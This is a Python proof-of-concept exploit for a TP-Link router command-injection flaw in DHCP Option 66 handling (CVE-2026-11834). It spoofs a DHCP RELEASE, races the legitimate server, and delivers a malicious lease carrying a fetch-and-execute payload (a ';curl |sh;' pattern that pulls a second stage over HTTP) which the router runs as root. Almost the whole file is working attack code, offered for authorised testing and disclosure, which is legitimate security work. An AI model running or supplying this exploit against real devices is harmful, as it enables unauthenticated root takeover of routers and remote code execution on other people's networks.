#!/usr/bin/env python3 """ TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) DHCP Race Attack - Proof of Concept Author: Matt Graham (mattgsys) CVE: CVE-2026-11834 A command injection vulnerability (CWE-78) in the DHCP Option 66 ("TFTP Server Name") handling of TP-Link router firmware allows an unauthenticated attacker on the same network segment to execute arbitrary commands as root. The Option 66 value returned in a DHCP lease is concatenated unsanitised into a `tftp` shell command in libcmm.so, which is passed to util_execSystem() and ultimately system(). The value is truncated to 16 characters on the device, so the payload is a minimal fetch-and-execute (`;curl |sh;`) that pulls a larger second stage over HTTP. This PoC delivers the payload without controlling the DHCP server, by racing the legitimate one on the segment: 1. Spoofs a DHCP RELEASE as the target, clearing the target's lease binding on the legitimate DHCP server. 2. Waits for the target's lease to lapse so it re-acquires its address. 3. Races the legitimate server, answering the target's broadcast with a malicious OFFER/ACK whose Option 66 value carries the payload. Tested on: - TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU, hardware) The vulnerable code path is shared across a range of TP-Link routers. Memory offsets, function addresses, and behaviour may differ on other models or firmware versions. WARNING: The Option 66 payload is executed as root on the target device. Only run this against hardware you own or are authorised to test. """ import argparse import sys from scapy.all import ( BOOTP, DHCP, Ether, IP, UDP, conf, get_if_addr, get_if_hwaddr, getmacbyip, mac2str, sendp, sniff, ) DESCRIPTION = "TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack" def build_dhcp_reply(msg_type, xid, client_mac, args): """Construct a malicious DHCP OFFER or ACK carrying the Option 66 payload. The L2/L3 source is the attacker's own interface; the advertised server-id is the attacker's IP. Only the RELEASE impersonates the target. """ return ( Ether(src=get_if_hwaddr(args.interface), dst="ff:ff:ff:ff:ff:ff") / IP(src=args.attacker_ip, dst="255.255.255.255") / UDP(sport=67, dport=68) / BOOTP( op=2, htype=1, hlen=6, xid=xid, flags=0x8000, # broadcast: target has no bound IP yet yiaddr=args.target_ip, # offer the target back its previous IP siaddr=args.attacker_ip, chaddr=mac2str(client_mac) + b"\x00" * 10, ) / DHCP(options=[ ("message-type", msg_type), ("server_id", args.attacker_ip), ("lease_time", args.lease_time), ("subnet_mask", args.subnet_mask), ("router", args.gateway), ("name_server", args.dns_server), (66, args.payload.encode()), "end", ]) ) def send_release(args): """Spoof a DHCP RELEASE from the target to clear its binding on the server. The RELEASE is sourced as the target (IP and chaddr), so the legitimate server drops the target's lease. The target continues to treat its lease as valid until its renewal timer (T1) expires. """ release = ( Ether(src=args.target_mac, dst=args.server_mac) / IP(src=args.target_ip, dst=args.server_ip) / UDP(sport=68, dport=67) / BOOTP( op=1, htype=1, hlen=6, xid=0xDEADBEEF, ciaddr=args.target_ip, chaddr=mac2str(args.target_mac) + b"\x00" * 10, ) / DHCP(options=[ ("message-type", "release"), ("server_id", args.server_ip), ("client_id", b"\x01" + mac2str(args.target_mac)), "end", ]) ) print(f"[*] Sending spoofed DHCP RELEASE for {args.target_ip}") sendp(release, iface=args.interface, verbose=0) print("[*] RELEASE sent. Waiting for target to re-acquire lease...") def make_handler(args, state): """Return a callback bound to the parsed arguments and run state.""" def handle(pkt): if DHCP not in pkt or pkt[Ether].src.lower() != args.target_mac.lower(): return xid = pkt[BOOTP].xid client_mac = pkt[Ether].src options = dict(o[:2] for o in pkt[DHCP].options if isinstance(o, tuple)) msg_type = options.get("message-type") if msg_type == 1: # DISCOVER print(f"[!] Got DHCP DISCOVER from {client_mac}, XID: {hex(xid)}") print("[>] Racing with malicious DHCP OFFER...") sendp(build_dhcp_reply("offer", xid, client_mac, args), iface=args.interface, verbose=0) print("[>] OFFER sent") elif msg_type == 3: # REQUEST print(f"[!] Got DHCP REQUEST from {client_mac}, XID: {hex(xid)}") # The REQUEST echoes the server-id of whichever offer the target # selected. Only answer if it picked us, or if it omitted the # server-id (INIT-REBOOT / renewing), where the ACK can still land. selected = options.get("server_id") if selected is not None and selected != args.attacker_ip: print(f"[-] Target selected {selected}, not us. Lost the race.") return print("[>] Sending malicious DHCP ACK...") sendp(build_dhcp_reply("ack", xid, client_mac, args), iface=args.interface, verbose=0) print("[>] ACK sent. Payload delivered.") state["done"] = True return handle def parse_args(): p = argparse.ArgumentParser(description=DESCRIPTION) p.add_argument("target_ip", help="Current IP address of the target device") p.add_argument("-i", "--interface", required=True, help="Network interface on the target's segment") p.add_argument("-s", "--server-ip", required=True, help="Legitimate DHCP server IP") p.add_argument("-S", "--server-mac", required=True, help="Legitimate DHCP server MAC") p.add_argument("-t", "--target-mac", help="Target MAC (auto-resolved via ARP if omitted)") p.add_argument("-a", "--attacker-ip", help="Server-id advertised in the malicious lease " "(defaults to the interface IP)") p.add_argument("-p", "--payload", required=True, help="Option 66 value (<=16 chars), e.g. ';curl |sh;'") p.add_argument("--gateway", help="Gateway to hand out (defaults to the DHCP server IP)") p.add_argument("--dns-server", default="8.8.8.8", help="DNS server to hand out (default: 8.8.8.8)") p.add_argument("--subnet-mask", default="255.255.255.0", help="Subnet mask to hand out (default: 255.255.255.0)") p.add_argument("--lease-time", type=int, default=60, help="Lease time in seconds (default: 60)") return p.parse_args() def main(): args = parse_args() # Resolve defaults that depend on the interface or other arguments. if not args.attacker_ip: args.attacker_ip = get_if_addr(args.interface) if not args.gateway: args.gateway = args.server_ip if not args.target_mac: args.target_mac = getmacbyip(args.target_ip) if not args.target_mac: sys.exit(f"[-] Could not resolve MAC for {args.target_ip}. " f"Pass it with --target-mac.") if len(args.payload) > 16: sys.exit(f"[-] Payload is {len(args.payload)} chars; the target " f"truncates Option 66 to 16.") conf.iface = args.interface print(DESCRIPTION) print(f" Target IP : {args.target_ip}") print(f" Target MAC : {args.target_mac}") print(f" DHCP Server : {args.server_ip} ({args.server_mac})") print(f" Attacker IP : {args.attacker_ip}") print(f" Interface : {args.interface}") print(f" Payload : {args.payload}") print() state = {"done": False} # The target will not re-DISCOVER until its renewal timer expires, so the # RELEASE can be sent before sniffing starts with no risk of a race. send_release(args) sniff(filter="udp port 67 or udp port 68", prn=make_handler(args, state), stop_filter=lambda _: state["done"], iface=args.interface, store=0) print("[+] Done.") if __name__ == "__main__": main()